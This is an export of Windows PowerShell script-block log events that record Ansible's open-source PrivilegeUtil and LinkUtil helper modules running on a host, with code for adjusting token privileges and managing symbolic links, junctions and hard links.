if (-not [Ansible.PrivilegeUtil.Privileges]::CheckPrivilegeName($Name)) {
throw [System.ArgumentException] "Invalid privilege name '$Name'"
}
$process_token = [Ansible.PrivilegeUtil.Privileges]::GetCurrentProcess()
$privilege_info = [Ansible.PrivilegeUtil.Privileges]::GetAllPrivilegeInfo($process_token)
if ($privilege_info.ContainsKey($Name)) {
$status = $privilege_info.$Name
return $status.HasFlag([Ansible.PrivilegeUtil.PrivilegeAttributes]::Enabled)
} else {
return $null
}
}
Function Set-AnsiblePrivilege {
<#
.SYNOPSIS
Enables/Disables a privilege on the current process' token. If a privilege
has been removed from the process token, this will throw an
InvalidOperationException.
.EXAMPLE
# enable a privilege
Set-AnsiblePrivilege -Name SeCreateSymbolicLinkPrivilege -Value $true
# disable a privilege
Set-AnsiblePrivilege -Name SeCreateSymbolicLinkPrivilege -Value $false
#>
[CmdletBinding(SupportsShouldProcess)]
param(
[Parameter(Mandatory=$true)][String]$Name,
[Parameter(Mandatory=$true)][bool]$Value
)
$action = switch($Value) {
$true { "Enable" }
$false { "Disable" }
}
$current_state = Get-AnsiblePrivilege -Name $Name
if ($current_state -eq $Value) {
return # no change needs to occur
} elseif ($null -eq $current_state) {
# once a privilege is removed from a token we cannot do anything with it
throw [System.InvalidOperationException] "Cannot $($action.ToLower()) the privilege '$Name' as it has been removed from the token"
}
$process_token = [Ansible.PrivilegeUtil.Privileges]::GetCurrentProcess()
if ($PSCmdlet.ShouldProcess($Name, "$action the privilege $Name")) {
$new_state = New-Object -TypeName 'System.Collections.Generic.Dictionary`2[[System.String], [System.Nullable`1[System.Boolean]]]'
$new_state.Add($Name, $Value)
[Ansible.PrivilegeUtil.Privileges]::SetTokenPrivileges($process_token, $new_state) > $null
}
}
Export-ModuleMember -Function Import-PrivilegeUtil, Get-AnsiblePrivilege, Set-AnsiblePrivilege `
-Variable ansible_privilege_util_namespaces, ansible_privilege_util_code
ScriptBlock ID: 75d7c0a6-ed7f-4622-9317-eb64c32fbbf0
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2159 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3508 | 3856 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:59 AM | 61e00a24-ee3b-0003-070c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 2):
# Copyright (c) 2018 Ansible Project
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
# store in separate variables to make it easier for other module_utils to
# share this code in their own c# code
$ansible_privilege_util_namespaces = @(
"Microsoft.Win32.SafeHandles",
"System",
"System.Collections.Generic",
"System.Linq",
"System.Runtime.InteropServices",
"System.Security.Principal",
"System.Text"
)
$ansible_privilege_util_code = @'
namespace Ansible.PrivilegeUtil
{
[Flags]
public enum PrivilegeAttributes : uint
{
Disabled = 0x00000000,
EnabledByDefault = 0x00000001,
Enabled = 0x00000002,
Removed = 0x00000004,
UsedForAccess = 0x80000000,
}
internal class NativeHelpers
{
[StructLayout(LayoutKind.Sequential)]
internal struct LUID
{
public UInt32 LowPart;
public Int32 HighPart;
}
[StructLayout(LayoutKind.Sequential)]
internal struct LUID_AND_ATTRIBUTES
{
public LUID Luid;
public PrivilegeAttributes Attributes;
}
[StructLayout(LayoutKind.Sequential)]
internal struct TOKEN_PRIVILEGES
{
public UInt32 PrivilegeCount;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]
public LUID_AND_ATTRIBUTES[] Privileges;
}
}
internal class NativeMethods
{
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool AdjustTokenPrivileges(
IntPtr TokenHandle,
[MarshalAs(UnmanagedType.Bool)] bool DisableAllPrivileges,
IntPtr NewState,
UInt32 BufferLength,
IntPtr PreviousState,
out UInt32 ReturnLength);
[DllImport("kernel32.dll")]
internal static extern bool CloseHandle(
IntPtr hObject);
[DllImport("kernel32")]
internal static extern SafeWaitHandle GetCurrentProcess();
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool GetTokenInformation(
IntPtr TokenHandle,
UInt32 TokenInformationClass,
IntPtr TokenInformation,
UInt32 TokenInformationLength,
out UInt32 ReturnLength);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
internal static extern bool LookupPrivilegeName(
string lpSystemName,
ref NativeHelpers.LUID lpLuid,
StringBuilder lpName,
ref UInt32 cchName);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
internal static extern bool LookupPrivilegeValue(
string lpSystemName,
string lpName,
out NativeHelpers.LUID lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool OpenProcessToken(
SafeHandle ProcessHandle,
TokenAccessLevels DesiredAccess,
out IntPtr TokenHandle);
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class Privileges
{
private static readonly UInt32 TOKEN_PRIVILEGES = 3;
public static bool CheckPrivilegeName(string name)
{
NativeHelpers.LUID luid;
if (!NativeMethods.LookupPrivilegeValue(null, name, out luid))
{
int errCode = Marshal.GetLastWin32Error();
if (errCode != 1313) // ERROR_NO_SUCH_PRIVILEGE
throw new Win32Exception(errCode, String.Format("LookupPrivilegeValue({0}) failed", name));
return false;
}
else
{
return true;
}
}
public static Dictionary<string, bool?> DisablePrivilege(SafeHandle token, string privilege)
{
return SetTokenPrivileges(token, new Dictionary<string, bool?>() { { privilege, false } });
}
public static Dictionary<string, bool?> DisableAllPrivileges(SafeHandle token)
{
return AdjustTokenPrivileges(token, null);
}
public static Dictionary<string, bool?> EnablePrivilege(SafeHandle token, string privilege)
{
return SetTokenPrivileges(token, new Dictionary<string, bool?>() { { privilege, true } });
}
public static Dictionary<String, PrivilegeAttributes> GetAllPrivilegeInfo(SafeHandle token)
{
IntPtr hToken = IntPtr.Zero;
if (!NativeMethods.OpenProcessToken(token, TokenAccessLevels.Query, out hToken))
throw new Win32Exception("OpenProcessToken() failed");
Dictionary<String, PrivilegeAttributes> info = new Dictionary<String, PrivilegeAttributes>();
try
{
UInt32 tokenLength = 0;
NativeMethods.GetTokenInformation(hToken, TOKEN_PRIVILEGES, IntPtr.Zero, 0, out tokenLength);
NativeHelpers.LUID_AND_ATTRIBUTES[] privileges;
IntPtr privilegesPtr = Marshal.AllocHGlobal((int)tokenLength);
try
{
if (!NativeMethods.GetTokenInformation(hToken, TOKEN_PRIVILEGES, privilegesPtr, tokenLength, out tokenLength))
throw new Win32Exception("GetTokenInformation() for TOKEN_PRIVILEGES failed");
NativeHelpers.TOKEN_PRIVILEGES privilegeInfo = (NativeHelpers.TOKEN_PRIVILEGES)Marshal.PtrToStructure(privilegesPtr, typeof(NativeHelpers.TOKEN_PRIVILEGES));
privileges = new NativeHelpers.LUID_AND_ATTRIBUTES[privilegeInfo.PrivilegeCount];
PtrToStructureArray(privileges, IntPtr.Add(privilegesPtr, Marshal.SizeOf(privilegeInfo.PrivilegeCount)));
}
finally
{
Marshal.FreeHGlobal(privilegesPtr);
}
info = privileges.ToDictionary(p => GetPrivilegeName(p.Luid), p => p.Attributes);
}
finally
{
NativeMethods.CloseHandle(hToken);
}
return info;
}
public static SafeWaitHandle GetCurrentProcess()
{
return NativeMethods.GetCurrentProcess();
}
public static void RemovePrivilege(SafeHandle token, string privilege)
{
SetTokenPrivileges(token, new Dictionary<string, bool?>() { { privilege, null } });
}
public static Dictionary<string, bool?> SetTokenPrivileges(SafeHandle token, Dictionary<string, bool?> state)
{
NativeHelpers.LUID_AND_ATTRIBUTES[] privilegeAttr = new NativeHelpers.LUID_AND_ATTRIBUTES[state.Count];
int i = 0;
foreach (KeyValuePair<string, bool?> entry in state)
{
NativeHelpers.LUID luid;
if (!NativeMethods.LookupPrivilegeValue(null, entry.Key, out luid))
throw new Win32Exception(String.Format("LookupPrivilegeValue({0}) failed", entry.Key));
PrivilegeAttributes attributes;
switch (entry.Value)
{
case true:
attributes = PrivilegeAttributes.Enabled;
break;
case false:
attributes = PrivilegeAttributes.Disabled;
break;
default:
attributes = PrivilegeAttributes.Removed;
break;
}
privilegeAttr[i].Luid = luid;
privilegeAttr[i].Attributes = attributes;
i++;
}
return AdjustTokenPrivileges(token, privilegeAttr);
}
private static Dictionary<string, bool?> AdjustTokenPrivileges(SafeHandle token, NativeHelpers.LUID_AND_ATTRIBUTES[] newState)
{
bool disableAllPrivileges;
IntPtr newStatePtr;
NativeHelpers.LUID_AND_ATTRIBUTES[] oldStatePrivileges;
UInt32 returnLength;
if (newState == null)
{
disableAllPrivileges = true;
newStatePtr = IntPtr.Zero;
}
else
{
disableAllPrivileges = false;
// Need to manually marshal the bytes requires for newState as the constant size
// of LUID_AND_ATTRIBUTES is set to 1 and can't be overridden at runtime, TOKEN_PRIVILEGES
// always contains at least 1 entry so we need to calculate the extra size if there are
// nore than 1 LUID_AND_ATTRIBUTES entry
int tokenPrivilegesSize = Marshal.SizeOf(typeof(NativeHelpers.TOKEN_PRIVILEGES));
int luidAttrSize = 0;
if (newState.Length > 1)
luidAttrSize = Marshal.SizeOf(typeof(NativeHelpers.LUID_AND_ATTRIBUTES)) * (newState.Length - 1);
int totalSize = tokenPrivilegesSize + luidAttrSize;
byte[] newStateBytes = new byte[totalSize];
// get the first entry that includes the struct details
NativeHelpers.TOKEN_PRIVILEGES tokenPrivileges = new NativeHelpers.TOKEN_PRIVILEGES()
{
PrivilegeCount = (UInt32)newState.Length,
Privileges = new NativeHelpers.LUID_AND_ATTRIBUTES[1],
};
if (newState.Length > 0)
tokenPrivileges.Privileges[0] = newState[0];
int offset = StructureToBytes(tokenPrivileges, newStateBytes, 0);
// copy the remaining LUID_AND_ATTRIBUTES (if any)
for (int i = 1; i < newState.Length; i++)
offset += StructureToBytes(newState[i], newStateBytes, offset);
// finally create the pointer to the byte array we just created
newStatePtr = Marshal.AllocHGlobal(newStateBytes.Length);
Marshal.Copy(newStateBytes, 0, newStatePtr, newStateBytes.Length);
}
try
{
IntPtr hToken = IntPtr.Zero;
if (!NativeMethods.OpenProcessToken(token, TokenAccessLevels.Query | TokenAccessLevels.AdjustPrivileges, out hToken))
throw new Win32Exception("OpenProcessToken() failed with Query and AdjustPrivileges");
try
{
IntPtr oldStatePtr = Marshal.AllocHGlobal(0);
if (!NativeMethods.AdjustTokenPrivileges(hToken, disableAllPrivileges, newStatePtr, 0, oldStatePtr, out returnLength))
{
int errCode = Marshal.GetLastWin32Error();
if (errCode != 122) // ERROR_INSUFFICIENT_BUFFER
throw new Win32Exception(errCode, "AdjustTokenPrivileges() failed to get old state size");
}
// resize the oldStatePtr based on the length returned from Windows
Marshal.FreeHGlobal(oldStatePtr);
oldStatePtr = Marshal.AllocHGlobal((int)returnLength);
try
{
bool res = NativeMethods.AdjustTokenPrivileges(hToken, disableAllPrivileges, newStatePtr, returnLength, oldStatePtr, out returnLength);
int errCode = Marshal.GetLastWin32Error();
// even when res == true, ERROR_NOT_ALL_ASSIGNED may be set as the last error code
if (!res || errCode != 0)
throw new Win32Exception(errCode, "AdjustTokenPrivileges() failed");
// Marshal th
ScriptBlock ID: 75d7c0a6-ed7f-4622-9317-eb64c32fbbf0
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2158 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3508 | 3856 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:59 AM | 61e00a24-ee3b-0003-070c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c) 2017 Ansible Project
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
#Requires -Module Ansible.ModuleUtils.PrivilegeUtil
Function Load-LinkUtils() {
$link_util = @'
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
namespace Ansible
{
public enum LinkType
{
SymbolicLink,
JunctionPoint,
HardLink
}
public class LinkUtilWin32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public LinkUtilWin32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public LinkUtilWin32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator LinkUtilWin32Exception(string message) { return new LinkUtilWin32Exception(message); }
}
public class LinkInfo
{
public LinkType Type { get; internal set; }
public string PrintName { get; internal set; }
public string SubstituteName { get; internal set; }
public string AbsolutePath { get; internal set; }
public string TargetPath { get; internal set; }
public string[] HardTargets { get; internal set; }
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct REPARSE_DATA_BUFFER
{
public UInt32 ReparseTag;
public UInt16 ReparseDataLength;
public UInt16 Reserved;
public UInt16 SubstituteNameOffset;
public UInt16 SubstituteNameLength;
public UInt16 PrintNameOffset;
public UInt16 PrintNameLength;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = LinkUtil.MAXIMUM_REPARSE_DATA_BUFFER_SIZE)]
public char[] PathBuffer;
}
public class LinkUtil
{
public const int MAXIMUM_REPARSE_DATA_BUFFER_SIZE = 1024 * 16;
private const UInt32 FILE_FLAG_BACKUP_SEMANTICS = 0x02000000;
private const UInt32 FILE_FLAG_OPEN_REPARSE_POINT = 0x00200000;
private const UInt32 FSCTL_GET_REPARSE_POINT = 0x000900A8;
private const UInt32 FSCTL_SET_REPARSE_POINT = 0x000900A4;
private const UInt32 FILE_DEVICE_FILE_SYSTEM = 0x00090000;
private const UInt32 IO_REPARSE_TAG_MOUNT_POINT = 0xA0000003;
private const UInt32 IO_REPARSE_TAG_SYMLINK = 0xA000000C;
private const UInt32 SYMLINK_FLAG_RELATIVE = 0x00000001;
private const Int64 INVALID_HANDLE_VALUE = -1;
private const UInt32 SIZE_OF_WCHAR = 2;
private const UInt32 SYMBOLIC_LINK_FLAG_FILE = 0x00000000;
private const UInt32 SYMBOLIC_LINK_FLAG_DIRECTORY = 0x00000001;
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
private static extern SafeFileHandle CreateFile(
string lpFileName,
[MarshalAs(UnmanagedType.U4)] FileAccess dwDesiredAccess,
[MarshalAs(UnmanagedType.U4)] FileShare dwShareMode,
IntPtr lpSecurityAttributes,
[MarshalAs(UnmanagedType.U4)] FileMode dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
// Used by GetReparsePointInfo()
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool DeviceIoControl(
SafeFileHandle hDevice,
UInt32 dwIoControlCode,
IntPtr lpInBuffer,
UInt32 nInBufferSize,
out REPARSE_DATA_BUFFER lpOutBuffer,
UInt32 nOutBufferSize,
out UInt32 lpBytesReturned,
IntPtr lpOverlapped);
// Used by CreateJunctionPoint()
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool DeviceIoControl(
SafeFileHandle hDevice,
UInt32 dwIoControlCode,
REPARSE_DATA_BUFFER lpInBuffer,
UInt32 nInBufferSize,
IntPtr lpOutBuffer,
UInt32 nOutBufferSize,
out UInt32 lpBytesReturned,
IntPtr lpOverlapped);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool GetVolumePathName(
string lpszFileName,
StringBuilder lpszVolumePathName,
ref UInt32 cchBufferLength);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern IntPtr FindFirstFileNameW(
string lpFileName,
UInt32 dwFlags,
ref UInt32 StringLength,
StringBuilder LinkName);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool FindNextFileNameW(
IntPtr hFindStream,
ref UInt32 StringLength,
StringBuilder LinkName);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool FindClose(
IntPtr hFindFile);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool RemoveDirectory(
string lpPathName);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool DeleteFile(
string lpFileName);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool CreateSymbolicLink(
string lpSymlinkFileName,
string lpTargetFileName,
UInt32 dwFlags);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool CreateHardLink(
string lpFileName,
string lpExistingFileName,
IntPtr lpSecurityAttributes);
public static LinkInfo GetLinkInfo(string linkPath)
{
FileAttributes attr = File.GetAttributes(linkPath);
if (attr.HasFlag(FileAttributes.ReparsePoint))
return GetReparsePointInfo(linkPath);
if (!attr.HasFlag(FileAttributes.Directory))
return GetHardLinkInfo(linkPath);
return null;
}
public static void DeleteLink(string linkPath)
{
bool success;
FileAttributes attr = File.GetAttributes(linkPath);
if (attr.HasFlag(FileAttributes.Directory))
{
success = RemoveDirectory(linkPath);
}
else
{
success = DeleteFile(linkPath);
}
if (!success)
throw new LinkUtilWin32Exception(String.Format("Failed to delete link at {0}", linkPath));
}
public static void CreateLink(string linkPath, String linkTarget, LinkType linkType)
{
switch (linkType)
{
case LinkType.SymbolicLink:
UInt32 linkFlags;
FileAttributes attr = File.GetAttributes(linkTarget);
if (attr.HasFlag(FileAttributes.Directory))
linkFlags = SYMBOLIC_LINK_FLAG_DIRECTORY;
else
linkFlags = SYMBOLIC_LINK_FLAG_FILE;
if (!CreateSymbolicLink(linkPath, linkTarget, linkFlags))
throw new LinkUtilWin32Exception(String.Format("CreateSymbolicLink({0}, {1}, {2}) failed", linkPath, linkTarget, linkFlags));
break;
case LinkType.JunctionPoint:
CreateJunctionPoint(linkPath, linkTarget);
break;
case LinkType.HardLink:
if (!CreateHardLink(linkPath, linkTarget, IntPtr.Zero))
throw new LinkUtilWin32Exception(String.Format("CreateHardLink({0}, {1}) failed", linkPath, linkTarget));
break;
}
}
private static LinkInfo GetHardLinkInfo(string linkPath)
{
UInt32 maxPath = 260;
List<string> result = new List<string>();
StringBuilder sb = new StringBuilder((int)maxPath);
UInt32 stringLength = maxPath;
if (!GetVolumePathName(linkPath, sb, ref stringLength))
throw new LinkUtilWin32Exception("GetVolumePathName() failed");
string volume = sb.ToString();
stringLength = maxPath;
IntPtr findHandle = FindFirstFileNameW(linkPath, 0, ref stringLength, sb);
if (findHandle.ToInt64() != INVALID_HANDLE_VALUE)
{
try
{
do
{
string hardLinkPath = sb.ToString();
if (hardLinkPath.StartsWith("\\"))
hardLinkPath = hardLinkPath.Substring(1, hardLinkPath.Length - 1);
result.Add(Path.Combine(volume, hardLinkPath));
stringLength = maxPath;
} while (FindNextFileNameW(findHandle, ref stringLength, sb));
}
finally
{
FindClose(findHandle);
}
}
if (result.Count > 1)
return new LinkInfo
{
Type = LinkType.HardLink,
HardTargets = result.ToArray()
};
return null;
}
private static LinkInfo GetReparsePointInfo(string linkPath)
{
SafeFileHandle fileHandle = CreateFile(
linkPath,
FileAccess.Read,
FileShare.None,
IntPtr.Zero,
FileMode.Open,
FILE_FLAG_OPEN_REPARSE_POINT | FILE_FLAG_BACKUP_SEMANTICS,
IntPtr.Zero);
if (fileHandle.IsInvalid)
throw new LinkUtilWin32Exception(String.Format("CreateFile({0}) failed", linkPath));
REPARSE_DATA_BUFFER buffer = new REPARSE_DATA_BUFFER();
UInt32 bytesReturned;
try
{
if (!DeviceIoControl(
fileHandle,
FSCTL_GET_REPARSE_POINT,
IntPtr.Zero,
0,
out buffer,
MAXIMUM_REPARSE_DATA_BUFFER_SIZE,
out bytesReturned,
IntPtr.Zero))
throw new LinkUtilWin32Exception(String.Format("DeviceIoControl() failed for file at {0}", linkPath));
}
finally
{
fileHandle.Dispose();
}
bool isRelative = false;
int pathOffset = 0;
LinkType linkType;
if (buffer.ReparseTag == IO_REPARSE_TAG_SYMLINK)
{
UInt32 bufferFlags = Convert.ToUInt32(buffer.PathBuffer[0]) + Convert.ToUInt32(buffer.PathBuffer[1]);
if (bufferFlags == SYMLINK_FLAG_RELATIVE)
isRelative = true;
pathOffset = 2;
linkType = LinkType.SymbolicLink;
}
else if (buffer.ReparseTag == IO_REPARSE_TAG_MOUNT_POINT)
{
linkType = LinkType.JunctionPoint;
}
else
{
string errorMessage = String.Format("Invalid Reparse Tag: {0}", buffer.ReparseTag.ToString());
throw new Exception(errorMessage);
}
string printName = new string(buffer.PathBuffer, (int)(buffer.PrintNameOffset / SIZE_OF_WCHAR) + pathOffset, (int)(buffer.PrintNameLength / SIZE_OF_WCHAR));
string substituteName = new string(buffer.PathBuffer, (int)(buffer.SubstituteNameOffset / SIZE_OF_WCHAR) + pathOffset, (int)(buffer.SubstituteNameLength / SIZE_OF_WCHAR));
// TODO: should we check for \?\UNC\server for convert it to the NT style \\server path
// Remove the leading Windows object directory \?\ from the path if present
string targetPath = substituteName;
if (targetPath.StartsWith("\\??\\"))
targetPath = targetPath.Substring(4, targetPath.Length - 4);
string absolutePath = targetPath;
if (isRelative)
absolutePath = Path.GetFullPath(Path.Combine(new FileInfo(linkPath).Directory.FullName, targetPath));
return new LinkInfo
{
Type = linkType,
PrintName = printName,
SubstituteName = substituteName,
AbsolutePath = absolutePath,
TargetPath = targetPath
};
}
private static void CreateJunctionPoint(string linkPath, string linkTarget)
{
// We need to create the link as a dir beforehand
Directory.CreateDirectory(linkPath);
SafeFileHandle fileHandle = CreateFile(
linkPath,
FileAccess.Write,
FileShare.Read | FileShare.Write | FileShare.None,
IntPtr.Zero,
FileMode.Open,
FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT,
IntPtr.Zero);
if (fileHandle.IsInvalid)
throw new LinkUtilWin32Exception(String.Format("CreateFile({0}) failed", linkPath));
try
{
string substituteName = "\\??\\" + Path.GetFullPath(linkTarget);
string printName = linkTarget;
REPARSE_DATA_BUFFER buffer = new REPARSE_DATA_BUFFER();
buffer.SubstituteNameOffset = 0;
buffer.SubstituteNameLength = (UInt16)(substituteName.Length * SIZE_OF_WCHAR);
buffer.PrintNameOffset = (UInt16)(buffer.SubstituteNameLength + 2);
buffer.PrintNameLength = (UInt16)(printName.Length * SIZE_OF_WCHAR);
buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
buffer.ReparseDataLength = (UInt16)(buffer.SubstituteNameLength + buffer.PrintNameLength + 12);
buffer.PathBuffer = new char[MAXIMUM_REPARSE_DATA_BUFFER_SIZE];
byte[] unicodeBytes = Encoding.Unicode.GetBytes(substituteName + "\0" + printName);
char[] pathBuffer = Encoding.Unicode.GetChars(unicodeBytes);
Array.Copy(pathBuffer, buffer.PathBuffer, pathBuffer.Length);
UInt32 bytesReturned;
if (!DeviceIoControl(
fileHandle,
FSCTL_SET_REPARSE_POINT,
buffer,
(UInt32)(buffer.ReparseDataLength + 8),
IntPtr.Zero, 0,
out bytesReturned,
IntPtr.Zero))
throw new LinkUtilWin32Exception(String.Format("DeviceIoControl() failed to create junction point at {0} to {1}", linkPath, linkTarget));
}
finally
{
fileHandle.Dispose();
}
}
}
}
'@
# FUTURE: find a better way to get the _ansible_remote_tmp variable
$original_tmp = $env:TMP
$remote_tmp = $original_tmp
$module_params = Get-Variable -Name complex_args -ErrorAction SilentlyContinue
if ($module_params) {
if ($module_params.Value.ContainsKey("_ansible_remote_tmp") ) {
$remote_tmp = $module_params.Value["_ansible_remote_tmp"]
$remote_tmp = [System.Environment]::ExpandEnvironmentVariables($remote_tmp)
}
}
$env:TMP = $remote_tmp
Add-Type -TypeDefinition $link_util
$env:TMP = $original_tmp
Import-PrivilegeUtil
# enable the SeBackupPrivilege if it is disabled
$state = Get-AnsiblePrivilege -Name SeBackupPrivilege
if ($state -eq $false) {
Set-AnsiblePrivilege -Name SeBackupPrivilege -Value $true
}
}
Function Get-Link($link_path) {
$link_info = [Ansible.LinkUtil]::GetLinkInfo($link_path)
return $link_info
}
Function Remove-Link($link_path) {
[Ansible.LinkUtil]::DeleteLink($link_path)
}
Function New-Link($link_path, $link_target, $link_type) {
if (-not (Test-Path -Path $link_target)) {
throw "link_target '$link_target' does not exist, cannot create link"
}
switch($link_type) {
"link" {
$type = [Ansible.LinkType]::SymbolicLink
}
"junction" {
if (Test-Path -Path $link_target -PathType Leaf) {
throw "cannot set the target for a junction point to a file"
}
$type = [Ansible.LinkType]::JunctionPoint
}
"hard" {
if (Test-Path -Path $link_target -PathType Container) {
throw "cannot set the target for a hard link to a directory"
}
$type = [Ansible.LinkType]::HardLink
}
default { throw "invalid link_type option $($link_type): expecting link, junction, hard" }
}
[Ansible.LinkUtil]::CreateLink($link_path, $link_target, $type)
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: f84d98e1-48ae-4d11-947d-955ba232bf23
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2157 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3508 | 3856 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:59 AM | 61e00a24-ee3b-0003-030c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: 58722afc-f435-485a-9e9d-9bcc14eeb916
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2156 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3508 | 3856 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:59 AM | 61e00a24-ee3b-0005-950b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.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iAkKCRfLkV4Y2VwdGlvbi5NZXNzYWdlKSIKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICAjIEdldCBzeW1ib2xpYyBsaW5rLCBqdW5jdGlvbiBwb2ludCwgaGFyZCBsaW5rIGluZm8KICAgIExvYWQtTGlua1V0aWxzCiAgICB0cnkgewogICAgICAgICRsaW5rX2luZm8gPSBHZXQtTGluayAtbGlua19wYXRoICRpbmZvLkZ1bGxOYW1lCiAgICB9IGNhdGNoIHsKICAgICAgICBBZGQtV2FybmluZyAtb2JqICRyZXN1bHQgLW1lc3NhZ2UgIkZhaWxlZCB0byBjaGVjay9nZXQgbGluayBpbmZvIGZvciBmaWxlOiAkKCRfLkV4Y2VwdGlvbi5NZXNzYWdlKSIKICAgIH0KICAgIGlmICgkbGlua19pbmZvIC1uZSAkbnVsbCkgewogICAgICAgIHN3aXRjaCAoJGxpbmtfaW5mby5UeXBlKSB7CiAgICAgICAgICAgICJTeW1ib2xpY0xpbmsiIHsKICAgICAgICAgICAgICAgICRzdGF0LmlzbG5rID0gJHRydWUKICAgICAgICAgICAgICAgICRzdGF0LmlzcmVnID0gJGZhbHNlCiAgICAgICAgICAgICAgICAkc3RhdC5sbmtfdGFyZ2V0ID0gJGxpbmtfaW5mby5UYXJnZXRQYXRoCiAgICAgICAgICAgICAgICAkc3RhdC5sbmtfc291cmNlID0gJGxpbmtfaW5mby5BYnNvbHV0ZVBhdGggICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgICAgICJKdW5jdGlvblBvaW50IiB7CiAgICAgICAgICAgICAgICAkc3RhdC5pc2p1bmN0aW9uID0gJHRydWUKICAgICAgICAgICAgICAgICRzdGF0LmlzcmVnID0gJGZhbHNlCiAgICAgICAgICAgICAgICAkc3RhdC5sbmtfdGFyZ2V0ID0gJGxpbmtfaW5mby5UYXJnZXRQYXRoCiAgICAgICAgICAgICAgICAkc3RhdC5sbmtfc291cmNlID0gJGxpbmtfaW5mby5BYnNvbHV0ZVBhdGggICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgICAgICJIYXJkTGluayIgewogICAgICAgICAgICAgICAgJHN0